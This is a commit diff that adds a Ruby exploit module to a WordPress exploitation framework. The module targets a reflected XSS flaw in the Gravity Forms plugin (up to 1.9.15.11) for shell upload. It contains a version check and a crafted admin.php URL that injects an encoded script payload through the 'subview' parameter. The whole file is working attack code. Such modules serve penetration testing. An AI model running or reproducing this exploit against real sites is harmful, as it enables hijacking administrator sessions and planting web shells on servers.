Add Gravity Forms <= 1.9.15.11 reflected XSS shell upload

Author: rastating

modules/exploits/gravity_forms_v1.9.15.11_reflected_xss_shell_upload.rb

@@ -0,0 +1,33 @@
+class Wpxf::Exploit::GravityFormsV191511ReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Gravity Forms <= 1.9.15.11 Reflected XSS Shell Upload',
+      author: [
+        'Henri Salo',                     # Discovery
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8400'],
+        ['URL', 'http://seclists.org/bugtraq/2016/Mar/0']
+      ],
+      date: 'Mar 01 2016'
+    )
+  end
+
+  def check
+    changelog = normalize_uri(wordpress_url_plugins, 'gravityforms', 'change_log.txt')
+    check_version_from_custom_file(changelog, /Version\s+(\d+\.\d+(\.\d+)*)/, '1.8.20')
+  end
+
+  def vulnerable_url
+    normalize_uri(wordpress_url_admin, 'admin.php')
+  end
+
+  def url_with_xss
+    "#{vulnerable_url}?page=gf_settings&subview=%22%3E%3Cscript%3E#{xss_ascii_encoded_include_script}%3C%2Fscript%3E%0A"
+  end
+end